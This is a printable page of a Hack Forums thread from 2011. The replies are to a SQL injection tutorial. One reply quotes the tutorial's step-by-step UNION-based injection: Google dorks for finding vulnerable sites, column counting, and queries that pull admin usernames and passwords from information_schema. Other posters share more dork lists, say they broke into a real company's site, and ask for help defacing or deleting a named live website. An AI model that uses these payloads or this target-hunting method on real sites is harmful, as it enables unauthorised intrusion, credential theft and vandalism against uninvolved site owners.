Hack Forums
Detailed Basic and Full SQL Injection Tutorial - Printable Version

+- Hack Forums (https://hackforums.net)
+-- Forum: Hacks, Exploits, and Various Discussions (https://hackforums.net/forumdisplay.php?fid=45)
+--- Forum: Grayhat • Purple Team • Hybrid Security (https://hackforums.net/forumdisplay.php?fid=449)
+---- Forum: Website Hacking (https://hackforums.net/forumdisplay.php?fid=43)
+----- Forum: SQL Injection Attacks (https://hackforums.net/forumdisplay.php?fid=103)
+----- Thread: Detailed Basic and Full SQL Injection Tutorial (/showthread.php?tid=50356)

Pages: Pages 1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42


* - Evesy - Apr 16, 2011

I don't get what you do when finding the columns, I added ' to the end of it and an error came up, then what do I do?


* - chart - Apr 17, 2011

think you for help .. sir

think you for help .. si

--



* - Haxization - Apr 17, 2011

Thanks!
Was able to get into a truck carrier website.
Don't want to do anything because I don't want to get screwed.


* - iLee - Apr 20, 2011

Ugh, for the /admin, I try getting to the admin area, but it's either 404 not found, or no permissions to access this page.


* - dndvi - Apr 21, 2011

(Feb 9, 2009 02:01 AM)dan1el Wrote:  ==
by dan1el a.k.a $qL_DoCt0r

part 2: injecting sql queries to extract the admin username and password

ok so lets say we have a site :
www.xx.com/index.php?catid=1
there is a list of dork 4 sites lyk this

"inurl:index.php?catid="
"inurl:news.php?catid="
"inurl:index.php?id="
"inurl:news.php?id="
or the best in my view "full credit to qabandi for discovering this"
"inurl:".php?catid=" site:xxx"

So once you have you'r site
www.xxxx.com/index.php?catid=1
now we add a ' to the end of the url
so the site is
www.xxxx.com/index.php?catid=1'
if there is an error of some sort then it is vulnerable
now we need to find the number of columns in the sql database
so we type
www.xxxx.com/index.php?catid=1 order by 1-- "no error"
www.xxxx.com/index.php?catid=1 order by 2-- "no error"
www.xxxx.com/index.php?catid=1 order by 3-- "no error"
www.xxxx.com/index.php?catid=1 order by 4-- "no error"
www.xxxx.com/index.php?catid=1 order by 5-- "error"

so this database has 4 columns because we got an error on 5
on some databases there is 2 columns and on some 200 it varies
so once we have the column number.
we try the union function
www.xxxx.com/index.php?catid=1 union select 1,2,3,4-- "or whatever number of columns are in the database"
if you see some numbers like 1 2 3 4 on the screen or the column names
it might not show all numbers on the screen but the numbers displayed are the ones you can replace to extract info from the db
so now we need to info about the db
so lets say the numbers 2 and 4 showed up on the screen
so i will use my query on 2
www.xxxx.com/index.php?catid=1 union select 1,CONCAT_WS(CHAR(32,58,32),user(),database(),version()),3,4--
the db type and version will pop up on the screen
if the db version is 4 or lower then to extract the password you will need these queries
www.xxxx.com/index.php?catid=-1 UNION SELECT 1,concat(table_name,CHAR(58),column_name,CHAR(58),table_schema) from information_schema.columns where column_name like CHAR(37, 112, 97, 115, 37),3,4--
this should display the table containing the admin username and password
but if not then you will have to guess the table
so once you have your table "or not"
then type
www.xxxx.com/index.php?catid=1 UNION SELECT 1,password,3,4 FROM admintablename--
where it says admintablename type the table you found with concat(table_name,CHAR(58),column_name,CHAR(58),table_schema) from information_schema.columns where column_name like CHAR(37, 112, 97, 115, 37)-- or your guess
then once u have the right table name you should get the administrator password
then just do the same thing but type username instead of password
sometimes the password is hashed and you need to crack it.
then see if you can get the admin panel if you cant then try the admin panel finder script here http://www.darkc0de.com/c0de/perl/admin_1.2_.txt
now if the database is version 5 or up
type
www.xxxx.com/index.php?catid=-1 UNION SELECT 1,table_name,3,4 FROM information_schema.tables--
and that will display a list of all the tables
once you have your table name
type the same thing as 4
www.xxxx.com/index.php?catid=1 UNION SELECT 1,password,3,4 FROM admintable--
then the same with username
but now if it doesnt work far all those things
just tootoo around with all the little catid=1 or catid=-1 or instead of -- put /* or even nothing
just play around with those
but sometimes we also need to use the version() or version@@
so sometimes UNION SELECT version (),password,3,4 FROM admintable--
or UNION SELECT version @@,password,3,4 FROM admintable--

well that about wraps up my sql injection tutorial.
you can contact me on
[email protected]
only msn me NO EMAILS I HATE THEM
🤝

i do try your this part on fsiblog.com/wp-login.php
but cant find any thing can u plx help me actually i m in to change or to dell sites like that

(Feb 9, 2009 10:56 AM)dan1el Wrote:  oops thanks 4 poiting that out
"i dont normally use the old ' or '1'='1 my friend is the one who said 'or'1'='1 works and with the x as well"
ps 'or'1'='1'oe-- "was made up by my friend

i do apply your totorial on fsiblog.com/wp-login.php
but dident find any thing can u plzzz help me


* - redtop33 - Apr 23, 2011

Dont call yourself a hacker.


* - khan20 - Apr 24, 2011

very nice info bro too helpful


* - ForeverYoung93 - Apr 27, 2011

Is SQL injection out of date? Because I can't seem to find a Website that gets an error that lets me complete the process. Also does the Web Page have to turn in to a blank page with an error or can it be on the website still but have an error?
But the Dorks I have been using also don't have the .asp at the end.

Here is a few:
inurl:source.php?id=
inurl:dl.php?id=
inurl:service.php?id=
inurl:anime.php?id=
inurl:application.php?id=
inurl:plugin.php?id=
inurl:purchase.php?id=
inurl:report.php?id=
inurl:world.php?id=
inurl:overview.php?id=


* - hejmor7 - Apr 29, 2011

i tryed sql injections on a site, when i found the number of colums (there was 15), and typed union select 1,2,3,4,5,6,7,8,9,10,11,12,13,14-- i didnt see any numbers on the screen`? can u pls help me.

sorry bad English.


* - WorldsBestGamer - Apr 29, 2011

great job man! I'm gonna try it out


* - N3me$!s - Apr 29, 2011

hey thanks for the tute...
very helpfull


* - Jacklyirl - Apr 30, 2011

[SqlException (0x80131904): Timeout expired. The timeout period elapsed prior to completion of the operation or the server is not responding.]
System.Data.ProviderBase.DbConnectionPool.GetConnection(DbConnection owningObject) +578
System.Web.Util.CalliHelper.EventArgFunctionCaller(IntPtr fp, Object o, Object t, EventArgs e) +25
System.Web.Util.CalliEventHandlerDelegateProxy.Callback(Object sender, EventArgs e) +42
System.Data.ProviderBase.DbConnectionClosed.OpenConnection(DbConnection outerConnection, DbConnectionFactory connectionFactory) +124
System.Web.UI.Control.OnLoad(EventArgs e) +132
System.Web.UI.Control.LoadRecursive() +66
System.Data.ProviderBase.DbConnectionClosed.OpenConnection(DbConnection outerConnection, DbConnectionFactory connectionFactory) +1645767
System.Data.SqlClient.SqlConnection.Open() +258
SubSonic.SqlDataProvider.CreateConnection(String newConnectionString) in C:\svn\subsonicproject\trunk\SubSonic\DataProviders\SqlDataProvider.cs:222
SubSonic.AutomaticConnectionScope..ctor(DataProvider provider) in C:\svn\subsonicproject\trunk\SubSonic\Sql Tools\Connection.cs:172
SubSonic.SqlDataProvider.GetDataSet(QueryCommand qry) in C:\svn\subsonicproject\trunk\SubSonic\DataProviders\SqlDataProvider.cs:424
SubSonic.DataService.GetDataSet(QueryCommand cmd) in C:\svn\subsonicproject\trunk\SubSonic\DataProviders\DataService.cs:523
SubSonic.StoredProcedure.GetDataSet() in C:\svn\subsonicproject\trunk\SubSonic\ActiveRecord\StoredProcedure.cs:266
_96FM._default.buildEntertainment() in C:\SVN\UTVGroup\96FM\Live\default.aspx.cs:80
_96FM._default.Page_Load(Object sender, EventArgs e) in C:\SVN\UTVGroup\96FM\Live\default.aspx.cs:24
System.Web.Util.CalliHelper.EventArgFunctionCaller(IntPtr fp, Object o, Object t, EventArgs e) +25
System.Web.Util.CalliEventHandlerDelegateProxy.Callback(Object sender, EventArgs e) +42
System.Web.UI.Control.OnLoad(EventArgs e) +132
System.Web.UI.Control.LoadRecursive() +66
System.Web.UI.Page.ProcessRequestMain(Boolean includeStagesBeforeAsyncPoint, Boolean includeStagesAfterAsyncPoint) +2428

This is info i got from a down site could i hack with SQL injection ?



* - inaudible screaming - Apr 30, 2011

Awsome Tut keep them coming.


* - khaleesi - May 1, 2011

Nice tutorial, thanks. Practicing, and taking small challenges.


* - RussianFederation - May 1, 2011

Basic but well written. Good job.